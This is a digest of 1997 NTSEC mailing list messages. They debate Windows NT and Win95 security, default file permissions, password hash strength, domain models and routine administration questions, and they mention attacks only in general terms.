want to take control of all directories below that point, but you'll get
"access denied" on the files and dirs below it that you don't have
access to.

> For that
> matter, %systemroot%\profiles are also "everyone:F", which allows ANY
> user
> to say delete an entire profile tree and replace it with one infested
> with
> trojans of their choice.
> 
Also doesn't work. Can't take ownership and can't delete.

> If I'm missing something here, please correct me.
> 
I tried what I think you said one would have to do and it didn't work --
if I got it wrong, I'll happily try again.

Paul
Hey all,
First time writing to this list, so I hope this gets through. The last
time I tried to post, the message got bounced back to me.
Anyway, my question is...in terms of implementing SSL security on IIS 3.0,
I know you can go to Verisign, but are there any other companies that use
SSL for IIS that I can go to? I sent an e-mail to Verisign to get some
more information, but haven't heard back from them.
Second question is, if you get an SSL certificate, is it for the entire
server? Or does it only count for one web site? The documentation I've
been reading isn't clear on the matter, and Verisign's site isn't specific
(it charges by server). So I don't know if I should be looking for one SSL
license, or a few. Or do you just place SSL in one directory, and send all
the https requests to one subdirectory?
Third question, if you are not using Front Page, and you want to set up FTP
to the web site, how do you set up security? Again would you use SSL? I
need to set up some FTP security into these web sites, and I need to set up
some security that will not be clear text. Again the docs I have on this
aren't very clear.

Thanks for the help ahead of time....
Tom
ICQ - 914857
PGP Fingerprint - 1EFB CCFB 8471 E02E EBBD E3CA CF27 1A66
-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 23 Jul 1997, Paul Leach wrote:
> > and where it is argued that this would probably stand up in court as
> > legal! (http://www.ix.de/ix/artikel/1997/03/090/)
> > 
> The attacker fraudulently obtained a certificate, and the user said they
> would trust _any_ certificate. The former was a breach of contract, and
> the latter stupid.
So you argue that there is no need for locks on your door, etc. because
theft is illegal?
So you are leaving your door open when you go working?

Additionally, you should study also the legal arguments named in the
article, which let anyone that it's legal. At least, until a court rules
against it.

> No I'm not. I'm only talking about securing the workstation.
And you are trying to tell us that it is not possible to secure
a workstation, because you claim that a physical is always possible.
The problem is that there are settings in which a physical breach of
security is not possible (nice guys with video equipment monitoring 
the labs, ...), but a software attack is quite feasible, because nobody
is able to manually track 100's of users. That's basically the whole point
of security.

YOU are asserting, that because of the possibilty of a hardware security
 breach, YOU don't have to take precaution against
 software security breaches.
By applying your reasoning to others things, one could reason:
Because I could be killed by going over to the other side of the street,
and I can't do anything against it, it's ok, to do dangerous things like
speeding without seat belts on a rainy day. It doesn't matter, because
you'll die so or so of crossing a street.

Question on the side: Why does microsoft fix bugs in their WWW server,
especially if they know that a bad hacker could just go to redmond and
pull the plug from www.microsoft.com in person?

> > with a CIFS link in a webpage?
> > 
> That's a different case, and I mentioned it as well in the message --
> that attack would take order of 2**60 bytes of storage to store all the
> possible responses to the chosen challenge. It would be very fast,
> though.
The problem is that you don't have to store the database:
Just take a big number of hashes, and run it on large enough cluster, and
after each try compare it against all the hashes. This way it is not as
fast, but it is feasible, and probably fast enough.

Andreas


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBM9aVIVGrPWwMHrE1AQGlGQf/dtHx0xhLlsmzrLH6T1GbWaRTeYCBLvtq
J9nebej+xLz6el0/tb5Tbep+lZLl0XO7j8H37VmVB6WdjSfqVpceBfUbuza2s7nG
xlSboztWYAT+4qFPPpWZVhCPSLGrTUHqF0QpuGFWdpaLMpYmkcvpUpJ4O/ZBbXi0
HIDhOSJboj55G8Yj+yqKc4To4T0aN47c3+0Y4Zwnl/MdgJGIVdqhktxTLoX3KsPE
XuQYAsiPqkpNIQAbkI6SBuNPlqqwATayHwvlDPd80sqA0UhWYBmw/6NNuZmMkC5q
agPmGv6fcqeL6LjfiXCh42ImDIjQfA1zRc9pZw1dzNGUEyix4F7VgQ==
=IsPm
-----END PGP SIGNATURE-----
With a single Master Domain Model, how are you setting them up: With 
a PDC on one site, the other sites are all acting BDC's? Are the 
BDC's being used at the local site to authenticate local/nearest user? 
 Or are you in a situation where you have one Master Domain controller 
that trusts no one, but every other domains trust the Master? Maybe 
I'm getting some terms mixed up here. Maybe I'm referring to a Single 
Domain Model as oppose to a Single Master Domain Model. Correct me if 
I'm wrong:

Single Domain Model: One PDC acting as the Master Domain, all others 
are built as BDC subordinate to a PDC. In the case of which I'm 
referring to, the PDC (Master Domain) locates at one location, whereas 
the other two's are BDC remotely subordinate to this Master PDC. This 
is actually what I'm referring too.

Master Domain Model: We're talking about building one Master PDC and 
other PDC's trust the Master but the Master trusts no one. This I 
believe is the Single Master Domain Model, right? If so, all this 
time I've been using the wrong term in the wrong context. Oops. 
 Sorry.

To use the term correctly, it is the Single Domain model that I'm 
fretting over. The Single MASTER Domain model would work just fine in 
a WAN environment, but how does a Single Domain Model perform on a 
WAN. We have 128K Frame Relay connection between LA and Houston, and 
a T1 between Houston and Atlanta. There is no redundant line between 
Atlanta and LA. So all traffics between the other two sites to/from LA 
must go through Houston. And due to the nature of our business 
(datawarehousing), traffics are bad as it is. I hope this clears 
things up a little.

Thanks for all the inputs.

-- Mac

-----Original Message-----
From: Decker, Warren [SMTP:WarrenD@kmg.com]
Sent: Wednesday, July 23, 1997 11:12 AM
To: Mac Thang
Subject: RE: [NTSEC] Domain modeling

The type of domain structure that you need depend on the organization, 
the number of users and the number of user changes. The single domain 
would make very little sense for a totally decentralized company, for 
example. If functions such as user setup can be centralized the 
single domain model makes a great deal of sense. We use it and have 
sites around the world. Since only changes are sent when the domain 
resynchs the network traffic is not great. Users are authenticated at 
the first site that responds, usually the closest. The only problem 
that we have experienced is a time delay when passwords need to be 
reset caused by resynching of the domain.

Since you don't say much about the structure or size of your sites, I 
don't know why you are so opposed. Microsoft does publish information 
on the various domain alternatives which may be worth looking at.


From: Mac Thang [SMTP:MThang@GRIZZARD.com]
Sent: Tuesday, July 22, 1997 3:29 PM
To: 'ntsecurity@iss.net'
Subject: [NTSEC] Domain modeling

Greeting all NT gurus out there. I just want to bounce off some ideas 
with y'all out there. We have three major site across the US: One in 
Atlanta, one in Houston and one in LA. We're implementing NTAS4.0
across the board and are currently selecting the domain model we would 
like to use. I know what I want and what is feasible, but we have an 
administrator who likes an alternative model. That of a single Master 
Domain model. Offhandedly, I would call it nonsense, but I need some 
input from the WAN expert out there. What is the advantage and
disadvantage of setting up a Master Domain at one of the central site 
(whether it be LA, Atlanta, Houston) and making the other sites
domains a BDC to the Master PDC across the WAN. This don't make sense 
to me technologically, administratively as well as when it comes to
maintenance. I see chaos all over the place and very, very poor
planning. Any input?


Russ,

I experienced a similar problem. I wrote an app recently (asmodeus) that
pings about 200 hosts at a time. This works great on pre-hotfix machines. 
AFTER installing the ICMP hotfix, however, my program could not reliably
get echo replies when I stuff the buffer like that. I think Microsoft
broke something with their hotfix. Also, a number of reports have come to
me of similar problems. It's a double edged sword.

-Greg Hoglund
hoglund@ieway.com

----------
> From: Russ Goodwin 
> To: ntsecurity@iss.net
> Subject: Re: [NTSEC] ICMP Fix Posted
> Date: Thursday, July 03, 1997 10:38 AM
> 
> >>RESOLUTION
> >>==========
> >>
> >>Microsoft has updated the TCP/IP protocol stack to correct the problem.
> >>Instructions for installing it are available from Microsoft support
> channels,
> >>or directly from the Internet locations below.
> >>
> 
> 
> I would hardly call MS's fix a resolution. After installing the icmp-fix
> on one of our servers (SP3+oob-fix) we can no longer successfully ping
the
> server! ssping no longer freezes the machine as well, so it kind of
looks
> like the fix worked. Has anyone else seen this and/or come up with a way
to
> re-enable standard pings?
> 
> -Russ
At 13:55 7/23/97 -0700, you wrote:
>> From: David LeBlanc[SMTP:dleblanc@iss.net]

>> Yes, but that is really a different issue. I can restrict physical
>> access
>> with $10 worth of hardware - devices to padlock cases do exist. We
>> can't
>> excuse file system insecurity by calling on physical security issues.
>> Let's
>> just assume that we want to raise the barrier to the level where
>> physical
>> access is required.
 
>Look -- I'm not saying that adding a $10 lock and disabling floppy
>booting wouldn't be a good idea, and wouldn't increase the work factor
>substantially. I just want people to remember that it isn't a total
>solution, and when someone does break it, that it isn't a design flaw in
>the system.

Of course - but if we're complaining that the default file system
permissions are too loose (they are), and that the apps are making it more
difficult to secure the OS (they do), it is really a different issue to
bring up the fact that physical security can overcome even excellent file
permissions.

I run into people all the time exclaiming how NTFSDOS "breaks" NT's
security. I always explain to them that this is rubbish, and that if you
can boot a different OS that you really have no protection, and this isn't a
flaw in NT. A friend used this technique to gain root on his DEC UNIX
machine because they shipped it to him without telling him the root password.
 
>BTW: Do you have a reference to a source for the case locks?

I think I saw them advertised in the back of Byte - I remember seeing them
all over the place when I was at Georgia Tech. The student clusters all
used them.

>> This isn't exactly true, AFAIK, the default permissions on
>> %systemroot% are
>> "Everyone:F". If I'm not mistaken, this allows ANY user to take
>> ownership
>> and change permissions of ANY file object below that point.
 
>Not true. When you take ownership of the directory, it asks you if you
>want to take control of all directories below that point, but you'll get
>"access denied" on the files and dirs below it that you don't have
>access to.

OK, you're right - I had thought that having full control on the directory
would allow people to at least delete things because of the hidden delete
child bit. However, there are still some oversights - notepad.exe is full
control to everyone. OTOH, I think that is the 16-bit version - the one in
system32 is set properly.

It is still not a good idea to allow users to write into the system
directories - esp. not system32. \winnt, and \winnt\system I can understand
because those are for legacy apps. New apps certainly shouldn't be writing
to these areas.

Also, look at it this way - one of the biggest claims about NCs is that they
reduce administration costs. Personally, I think NT can be an excellent
solution in reducing administration costs by reducing user tampering. What
we're trying to say is that if the apps were better behaved about where in
the file system they think they need to write, it would reduce
administration headaches. Anything that reduces administration headaches is
going to make you more competitive against NCs. If apps write only into
well-defined, configurable areas, it makes it easier for us to control what
the users are allowed to do.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |



> ----------
> From: Andreas Kostyrka[SMTP:andreas@ag.or.at]
> Reply To: Andreas Kostyrka
> Sent: Wednesday, July 23, 1997 4:34 PM
> To: Paul Leach
> Cc: ntsecurity@iss.net
> Subject: RE: [NTSEC] Win95 sec
> 
 

> YOU are asserting, that because of the possibilty of a hardware
> security
> breach, YOU don't have to take precaution against
> software security breaches.
> 
No -- I'm saying that the system software does not have to make it any
harder to break into a machine than it would be to break in by a
physical attack. A chain is only as strong as its weakest link -- the
attacker will choose the easiest attack.


Paul
This might be off-topic for this group but I'll give it a try ...

I just set up three new systems with NT WS 4.0. Our policy is to create
an ID for the user, set the password to some easily remembered word and
check the "User Must Change
Password At Next Login" selection. The users don't have the
Administrator password.

On all three of these systems the user is prompted to change the
password after they first login, on two of them there is no problem, the

password gets changed. On the third one there is a problem. After the
user types in the new password and clicks OK he gets a message saying he

does not permission to change the password.

The "Don't Allow User To Change Password" option is NOT checked. If the
"User Must Change Password At Next Login" is unchecked the user can then

log in, (without being prompted to change the password, of course).
The user can then do a C-A-D and change the password successfully from
the Change Password selection.

This happens on this system no matter what ID I create. I would rather
not reinstall NT, no CD-ROM on the system, etc. And I'm really curious
how this happened and how to fix it. Any ideas??

Thanks,

Allan McDoanld
mcdonald@onramp.i2k.com








Hi,

This is probably going to be a very easy to answer question for most of
you, but i'm quite new to NT server, and i can't find a way to limit a
shared resource (FAT) to a certain group of users.

For example i want to limit the F:\PRIVUTIL directory to only SUPERUSER
and PRIVUSER groups... I can only seem to allow ADMINISTRATOR or
EVERYONE or both....

This may seem off topic, but it is vital to the security of our network.

Thanks in advance
Misha

I don't know about you guys, but in my version of NT I can audit restarts,
shutdown and system. I looked in the user manager, policies, audit and
there it is. Maybe I have a different version of NT.
This topic has probably been flogged long enough.
 Lets move on please


-----BEGIN PGP SIGNED MESSAGE-----

On 20 Jul 97 at 22:27, Victor Nardo wrote about: RE: [NTSEC] PWDUMP
problems...

> [...]
> Based on my understanding that the company already has the legal
> right (someone correct me if they have a different understanding) to
> view email sent/received under an account issued by the company, it
> seems to follow that a password is also the property of the company.
> While it sets a bad corporate image, in the eyes of the employee,
> to hold their passwords, it is probably within their rights to do
> so. If I am recalling the C2 specification correctly, one reason to
> have each password known only by the account holder is to ensure the
> objects generated/owned by that person are indeed his own. The
> employee who is aware of a password policy and who is accused of
> violating corporate policy based on evidence generated from a
> computer system can probably legally argue that since he wasn't the
> only person to know his account password, it cannot be proven that
> he/she actually violated the policy/law in question (since someone
> else could have used his/her password and done the evil deed in
> question).

So it is a matter of self-protection that the password is only known
to the user. Interesting, never thought of that...

> It seems that the absence of a written corporate computing usage /
> awareness policy leads to this dilemma. As an administrator, I can
> recover passwords on an as need basis, but with the understanding
> that the employee/user will have to be informed of this, as he will
> become aware of it the next time he logs on to the system anyways.

Not necessarily. You can recover the password, move over to another
system, and plunk the same password down, without the user knowing
that the system changed.

> [...]
> This would put users on the alert that anything they do not want
> shared to corporate superiors should not be left on their systems
> and also give the company immediate grounds for termination or legal
> recourse should they turn something up in violation in their policy.

Company policy, if present, hold the right for actions should the user
be in violation with the terms. However, that is independent of the
password issue. The password can be known to admins, but is not
required. Doesn't matter how many people know a users password, the
user still has the responsibility of his system, and the software
thereon.

> [...]
> But for the person who wants to encrypt material on their PC's, what
> are you going to do w/o a password? What are you going to do to keep
> a person from holding such information?

I guess the user could encrypt his ZIP archive of pirated software, or
whatever is in violation with the user agreement, independent from the
network and its passwords. The data should be safe on his PC, but he
may be asked by a judge to provide the key/password to gain access to
the data. Well, maybe not immediately a judge, maybe the
supervisor/manager will be able to exact enough force on the user so
that he hands over anything suspicious.

Security is a game of trust and deceit, ethics and perversion. In
other words really interesting...



Regards,
Frank



-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM9bbgcZP3ocmY5AlAQHFrAP/XsSGvJZKL8jW2LrImPgzUKTeVzq3i8p+
BBtT8pJfYL52TgPbZt3uYjcuZipx39I5/3sOjhH0dsWeRm4Yi54Jb4d8FNcex2Ui
JLb5F7PEdgEBLH6KbLYrXmIrPLZSgxmYz65lrWOQQ+Zwz1elSNgXJQjn1OjhQxyB
mavmiFqBp9k=
=hF1I
-----END PGP SIGNATURE-----
-----BEGIN SPAM WARNING-----

WARNING: ANYONE SENDING UNREQUESTED ADVERTISEMENT
VIA EMAIL WILL BE ADDED TO A FILTER LIST, WHICH WILL
AUTOMATICALLY DELETE EVERY MAIL FROM THE SENDER.
THIS WILL DISABLE FURTHER CORRESPONDENCE.
PLEASE REFRAIN FROM SENDING JUNK E-MAIL (SPAM).
THIS E-MAIL ADDRESS IS NOT TO BE ADDED TO A MASS
EMAIL LIST.

-----END SPAM WARNING-----
First of all, all this talk about PPro years assumes the actual password
is the last one possible, we should be talking Estimated Street Price,
not Manufacturers List Price...;-]

Secondly, I'd argue that the larger the minimum length of a password,
the more likely it is to be a "known" value, so finding a reasonable
crack dictionary of large values is likely to yield more success than it
would in smaller keyspace. Larger passwords are harder to remember
despite good password creation techniques, its simple reality to accept
that the average user cannot come up with truly random values, nor can
they remember random values handed to them. There are diminishing
returns the larger a password gets (and the more complex it gets) and
they end up being stuck to screens and such.

It is simply silly to continue discussions about the strength of user
entered passwords, IMO, as there is no way that they are ever going to
satisfy "the public". Simply adding a Security Dynamics ACE Server and
providing your users with SecurID hardware token devices *does solve*
this problem.

ACE and SecurID are but one example, there are many other devices both
software and hardware based. For those of you who balk at the cost of
such devices, consider the cost of administering an environment with
complex password rules.

The LM-fix resolves the biggest issue with NTLM C/R, namely the weak
formation of a hash based on LM rules. The LM-fix, alone, does not make
NT authentication "very secure". Kerberos v5 also does not make user
authentication "very secure". I think Kerberos v5 is "more secure" than
NTLM with LM-fix, but how much "more secure" it will be in NT will be a
function of how its implemented.

Regardless, it will always be my recommendation to use a token in
addition to/replacing any software/OS based user authentication.

Cheers,
Russ
R.C. Consulting, Inc. - NT/Internet Security
owner of the NTBugTraq mailing list:
http://ntbugtraq.rc.on.ca/index.html

>You can also study the iX article (also in English), where Active-X
>controls are used to ``steal'' money via Quicken from the browser user,
>and where it is argued that this would probably stand up in court as
>legal! (http://www.ix.de/ix/artikel/1997/03/090/)

Andreas, I would suggest to you that using sweeping generalities as a
means of debate, sucks. I can post an article in which I prove
conclusively that such a case, argued in a court of my choosing, would
definitely go against the programmer of the Active-X control. The only
reality is what a real court actually hands down as a real judgment in a
real case. Law is never absolute, and therefore discussions about
whether a case would go one way or another are never absolute either.

Bottom line is its meaningless if it hasn't actually be adjudicated and
a decision handed down, and even then its only pertinent to those
circumstances and jurisdiction, and always subject to appeal. There was
a guy who thought he could do anything he wanted to InterNIC and get
away with it, then today he got slapped with a civil suit that basically
says everything he owns is to be taken pending the outcome of a
trial...needless to say he didn't think that would happen.

>DLLs that are installed in the system directory? A trojan may be hidden
>also in some DLL that when run as Administrator starts to do bad
things.

Doh!! This is Yobie-thinking. Here's one to try on...YOUR ADMINISTRATOR
COULD BE A TROJAN. Where do you end such paranoia? At some point you
have to assume that you've accepted to trust something, and that
decision was based on some policy that you adhere to on a regular basis.
Discussing what that policy is, and how paranoid you need to be, could
go on back to the birth of your company, your administrator, or the guy
who made the first punch card loom. Pick one and work forward from
there, Ok?

>You are mixing up to differnt things:
>- - securing the network.
>- - securing the workstation.

Huh? How do you secure a network without securing the workstations? Are
you proposing hardware encrypting devices stuck on the network adapters
of all workstations? Don't get me wrong, this is done and makes for very
secure networks, but I thought we were talking about Win95 workstations?
Methinks one wouldn't go to all that trouble to secure the network if
the workstations were Win95...but I could be wrong...

>In both case securing the hardware is important, probably in the case
of
>the network wire even more. But depending upon your site hardware based

So are you now saying that securing the network wire is done by securing
the workstation? surely not.

>On the software side, encryption is probably the only full protection
for
>networks. But even without full encryption, protocols differ widely

Software encryption does not equal a secure network wire. I could still
bring down workstations or break into them despite the fact they were
encrypting all the data within all their packets. I think you haven't
done enough investigation of what you're talking about to speak
understandably about it. You seem pre-occupied with people stealing the
contents of data packets, whereas I figure I would probably just go
after the machine as a whole first, and worry about breaking the
encryption later.

>under security aspects :( SMB is surely not one of the best protocols
:(

SMB is an session layer protocol, not a network protocol. If I protect
the network at the IP layer or lower, I can run SMB securely on top of
it (assuming of course I've written reasonable applications that use
SMB...).

>Securing the workstation is another thing:

Your comments are talking about the OS on the workstation, not "Securing
the workstation", so let's keep that distinction obvious, Ok?

>- - Win95 takes a no security stand point :(

Win95, as supplied out of the box by Microsoft, is not intended to be a
secure OS. There are tons of products available today that can be added
to a machine running Win95 (or in fact secure machines with Win95
already loaded) that will make a machine running Win95 as secure as
*most* would want it to be. I don't see it as Microsoft's job to provide
all of that for $129 or whatever its going for these days.

> is much better, but still comes from people with the same LAN
mindset.
 (User friendlyness is IMPORTANT. security, hmmm, what does it matter?)

Grandiose words, too bad you don't know enough about NT to back this up.
I've got issues with NT Security, and I've got issues with the way some
user friendliness has overridden *default* security, BUT I'VE NEVER HAD
THE IMPRESSION THAT MICROSOFT BELIEVES THAT SECURITY DOESN'T MATTER IN
WINDOWS NT.

Sure, you can sit back and observe from a distance and comment on what
other people have discovered or learned, as if you had done this
research work yourself. As someone who has done this research work, I
can tell you that its, and has been, impossible for Microsoft not to
invest heavily in security from day dot.

One thing that far too many members of this list seem to forget is that
the size of the market (UNIX, NT, VMS, etc...) who want *strong*
security is *far less* than what you think. A recent IDC report stated
that more than 65% of all computer networks connected to the Internet
today have *absolutely no security* on their Internet connection, no
packet filters, no Firewalls, no nothing. Of the remaining -35%, less
than 10% had commercial Firewalls (this isn't meant to denigrate fwtk
and its siblings, just denote the commercial value of security).

When Microsoft designed NT, they did incorporate security features which
could be enabled by those users who wanted them. As its progressed,
those features have become more and more obvious, and more robust, and
more feature rich, due in part to the whining and astute observations
made here and other places. Never-the-less, we security focused people
do not purchase the majority of NT systems, so obviously its going to
reflect the majority customer.

All that being said, its a reality that the customer is changing. With
an emphasis on internetworking and connecting with varied trust models,
security has become more important to NT customers (and is continuing to
grow). Features which have been in NT all along are now being uncovered
and wrapped up in GUIs so *all* NT customers can see them. New tools are
being released, and old ones cleaned up, *while at the same time* the
core motivating purchasing factor for NT, its flexibility for vendor
developers, is being enhanced to allow them, and Microsoft, to continue
to develop and *sell* new functionality. Customers *want this*, so it
will come first (most of the time).

Saying that Microsoft comes from *any* "LAN mindset" shows an ignorance
of the realities that *are* Microsoft TODAY! As someone who has worked
with Windows products since 1986, I can honestly say that the last 2
years have shown so much change in Microsoft's approach to its products
as to boggle the mind. Granted, there are still *major* issues with
product group interaction (Office '97 permission requirements for NT,
for example), but its leaps and bounds better than it used to be.

> By monitoring this mailing list, one comes to the conclusion that
> NT is about the same security level that Unix was two decades ago
(when 
> it was used mostly for LAN stuff, funny, not?). Seems

Yeah, right, and you were there, right Andreas? Do you know what UNIX
looked like 20 years ago?? Give me a break, I'll accept that in some
ways NT is where UNIX was 5 years ago, but in many ways its beyond where
UNIX is today, so the point has little merit beyond trying to sound
knowledgeable.

> like the guys in Redmond didn't feel that learning from the Unix
> mistakes, that gave Unix the bad security image it has/had :(, would
be
> a good idea. Learning by self-experience is better.

Granted, there is definitely a lack of awareness of *some* UNIX issues
that have arisen over time that were ignored when *similar*
functionality was/is implemented in NT. That being said, I know a few of
the developers down there in Redmond have *significant* UNIX or
UNIX-like experience, so their not totally ignorant to the issues.
Taking NT's evolution since inception, I'd say they've covered an awful
lot of ground in a short period of time, and in the process have cut
some corners and overlooked some obvious things.

Have you ever sat down and looked over all the
CERT/CIAC/AU-CERT/BUGTRAQ/ALT.2600/BoS/Firewalls/etc... bulletins? You
make it sound like every exploit ever discovered is sitting in a list
somewhere and that the information contained in those bulletins includes
line numbers in the NT Source Code so the NT developers can just go and
change their code!!

NT 4.0, with IIS (but no BackOffice) is 17 million lines of code!!! More
than half of all exploits ever discovered include a combination of
requirements before the exploit is successful, this is not trivial to
prevent.

Like you, however, and everyone else, I DO EXPECT MICROSOFT TO PREVENT
ALL EXPLOITS...I just don't bet my company on it...;-]

>Nope. It doesn't work in M$ enviroments, it works quite well in a
Unix/X
>setting. Consider the nets that my company installs:

First of all, I read what you said your company installs, and I didn't
see anything there that would prevent you from creating a solution using
MS products in the fashion suggested.

I assisted with the installation of a Trading Floor in a very large
Trading environment. The PCs were on one floor, and the users were on
another. Keyboard, mouse, and video extenders were used to provide each
trader with 4 NT-based machines at their desks. NOTE: All PCs were one
floor below the traders.

X-Terminals or NT/95 boxes, I don't see why similar hardware
configurations can't be presented at the user's desktop.

>password for the server. And even if the attacker could gain user
>level access to the client, this would not help him, as the system
>is basically still secure.

Whoops, better pull up your slip...let's see, a user account breach
doesn't help a hacker, no qualifications on that eh Andreas? What if the
user account that was breached was root?? Besides, if a hacker breached
a user account, you seem to be assuming that the only thing a hacker
wants to do is something other than what a user can do. Many
environments the goal of the hacker is user data my friend...

>The only way to attack such a system is to plug in a laptop in to the
>wire, but one could counter work this by using something like ssh :)

And do what with SSH?? Come on, you going to run X through SSH, is that
what you're telling us?

>Only drawback: This does not work if the client demands to strongly
Win32

You're just showing that you don't know how to secure NT, right?

You know UNIX, but don't know NT, right? You think that nothing is
available for NT that can do what UNIX does, right? How about eXceed, or
TNT, or PPTP on a local LAN, or...I could go on and on but the solution
obviously depends on your needs, but you knew that already, right?

>Oh, by the way, the server is usually hardware, that nobody would
install
>nowadays even for a Win95 workstation, and it still supports about 5
>workstations without any problems :)

5 workstations doing what? Now you are being patronizing...;-[ Here I
thought all along that you were trying to be objective...

>WinNT is probably ok, but one should disable what one doesn't need,
>and probably follow a mailing list like this one, so one can install
the
> weekly hotfixes.

Ok, don't you think its a Bad Thing(tm) for people to take your security
advice for Windows NT, given that you know nothing about it?

>Even better would be probably a X station, where

Moohahaha...like X is secure, right!! Next you'll tell us to use NFS
mounts across the Internet where-ever possible. Are you a hacker??

Oh, and there isn't an X patch of the week for ??

>P.S.: Then why does the L0PTHCRACK author give so much lower times for
the
> crack time then you? *wonder*

Because their trying to prove their point, and Paul was trying to prove
his point. What are your times Andreas?

>P.P.S.: Concerning the cryptographical strength you claim: Does this
still
> apply when a rogue server uses a constant salt, as would be
feasible
> with a CIFS link in a webpage?

You must have been a Black Hat and read a couple of slides, right?

Cheers,
Russ
R.C. Consulting, Inc. - NT/Internet Security
owner of the NTBugTraq mailing list:
http://ntbugtraq.rc.on.ca/index.html

>(Assuming you've collected your data from a rogue server, that requests
> the same salt everytime.)

Could you please provide me with a link to such a server. Otherwise,
stop using it as an example, Ok?

Cheers,
Russ
R.C. Consulting, Inc. - NT/Internet Security
owner of the NTBugTraq mailing list:
http://ntbugtraq.rc.on.ca/index.html

>There has been a wave of new technologies PCMCIA cards and SmartCards
(with microchips) which you can use to "lock computers".

The only way to truly "lock computers" is to ensure that nothing other
than the original HD controller (with embedded encrypt/decrypt hardware
logic) can read the HD, and that the HD controller "key" will be
*destroyed* if the case is tampered with/opened. A token is used,
together with a PIN, to unlock the key on the HD controller to access
the drive securely. A combination of all are used to encrypt the HD
contents.

The limited processing power of CPU's today make it impossible to employ
*very strong* encryption in software. An encrypting HD controller allows
that task to be shared/off-loaded from the CPU, thereby allowing for
much stronger encryption.

Cheers,
Russ
R.C. Consulting, Inc. - NT/Internet Security
owner of the NTBugTraq mailing list:
http://ntbugtraq.rc.on.ca/index.html

-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 23 Jul 1997, Paul Leach wrote:

> 
> 
> > ----------
> > From: Andreas Kostyrka[SMTP:andreas@ag.or.at]
> > Reply To: Andreas Kostyrka
> > Sent: Wednesday, July 23, 1997 4:34 PM
> > To: Paul Leach
> > Cc: ntsecurity@iss.net
> > Subject: RE: [NTSEC] Win95 sec
> > 
> 
> 
> > YOU are asserting, that because of the possibilty of a hardware
> > security
> > breach, YOU don't have to take precaution against
> > software security breaches.
> > 
> No -- I'm saying that the system software does not have to make it any
> harder to break into a machine than it would be to break in by a
> physical attack. A chain is only as strong as its weakest link -- the
> attacker will choose the easiest attack.
Nope. The relative weakness of each link depends upon the local situation.
So how you guys in redmond know that on this whole planet physical
attacks are the dominating headache? In many situatutions it's rather the
other way. Should we take your comment to mean that Windows(tm) solutions
are not useable in these contexts?

Andreas


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBM9cP0FGrPWwMHrE1AQHIYwf+JEILBA6VacEJpuNAj9N2hOjF2yRZoQho
g5p5MzUcsk/9Izi1tjJBk7QQxcimifXARSh6nrP2Zq15tnBGs68HnzP+cT5haHm6
MSnXHkYi+rB4wuZyOzlF00polyxNe4WVuRMq5lI/R2Ayueyr3uCjjUw5dOvev4N4
LsZF0hnFz3PiiGdvLo/a4DrOKAjwM7wmanb75FgOpuclKPV1lPHmkHIwIzjwegl9
Fm67ELyb3VrzV+o6av0pToEHZJz6QLjAOXSE+z+etrnZ/orrU+04nYhxqfcGH5Uo
QEzitWfDw21Zm3TNH6W13BY1MwxcwXJS3zgkaKbtpEjPgqgu+TDX0Q==
=4KUl
-----END PGP SIGNATURE-----
A person who denies the assertion that a chain is no stronger than its
weakest link is obviously only interested in debating, and not in
learning anything.

> ----------
> From: Andreas Kostyrka[SMTP:andreas@ag.or.at]
> Sent: Thursday, July 24, 1997 1:18 AM
> To: Paul Leach
> Cc: ntsecurity@iss.net
> Subject: RE: [NTSEC] Win95 sec
> 
> On Wed, 23 Jul 1997, Paul Leach wrote:
> 
> > 
> > 
> > > ----------
> > > From: Andreas Kostyrka[SMTP:andreas@ag.or.at]
> > > Reply To: Andreas Kostyrka
> > > Sent: Wednesday, July 23, 1997 4:34 PM
> > > To: Paul Leach
> > > Cc: ntsecurity@iss.net
> > > Subject: RE: [NTSEC] Win95 sec
> > > 
> > 
> > 
> > > YOU are asserting, that because of the possibilty of a hardware
> > > security
> > > breach, YOU don't have to take precaution
> against
> > > software security breaches.
> > > 
> > No -- I'm saying that the system software does not have to make it
> any
> > harder to break into a machine than it would be to break in by a
> > physical attack. A chain is only as strong as its weakest link --
> the
> > attacker will choose the easiest attack.
> Nope. The relative weakness of each link depends upon the local
> situation.
> So how you guys in redmond know that on this whole planet physical
> attacks are the dominating headache? In many situatutions it's rather
> the
> other way. Should we take your comment to mean that Windows(tm)
> solutions
> are not useable in these contexts?
> 
> Andreas
> 
Hello, maybe this is not a realy security related question but it burns in
my mind so i gave it a try.

Situation: 

 - classroom with 25 computers ready to install NT workstation.
 - 1 NT workstation with the appropiate configuration
 
Question, 

What's the right way to duplicate the 1 installed workstation to the other
25 computers in the classroom?

What will be the effect on SID and authentication when just making a copy
to all stations.

Thanx in advance,

Wouter. 


Hi Everybody ,

 I'd like to use CACLS utility, within batch command file, to grant
access rights to "Administrators" and to "System"
 groups. My problem is that the command procedure should be activated
in NT running either English version or
 any International version - so the names of "Administrator" & "System"
groups may be different. Is there any way
 to do this without receiving the names externally ?

 Regards
 Avi Wiesenfeld
Excuse the off topic question..

Is there a command line utility that will enable me to stop/start NT services 
on remote boxes, I obviously have admin rights on all the relevent boxes.
Sorry again as this is somewhat off topic.

Thanks

John Rutkin
I have an NT 4.0 SP3 system which is currently running Netscape's Mail
Server and BIND (plus evaluations of two proxy servers). Yet when I run
"netstat -a" I see that the server is listening to high-numbered ports
which, in addition to those used by the proxy servers, include a number
which I know nothing about:

 1028/tcp
 1029/tcp
 1565/tcp
 1723/tcp
 6050/tcp

 1565/udp

Plus, the system seems to have a connection with itself between 1026/tcp and
1027/tcp (each listening to the other on localhost).

I checked these ports against a list of "known" ports (www.cavebear.com?),
and either they weren't included, or obviously didn't match the entries in
the lists.

Can anyone explain what services might be listening on these ports?
Alternatively, is there a way to determine which process/service is
listening on a particular port?

Thanks,

John Wells
jwells@pacificcoast.net
CHris,

On Wed, 23 Jul 1997 CCCRE.CCULL@capital.ge.com wrote:

> this seems BAD. as far as i know, nt replicates the ENTIRE domain db every time
> a change is made, this is one of the reasons some people dislike it for
> enterprise (wan spanning) networks. domains should not span wan links, thus you
> get the pleasure of setting up trust relationships.....

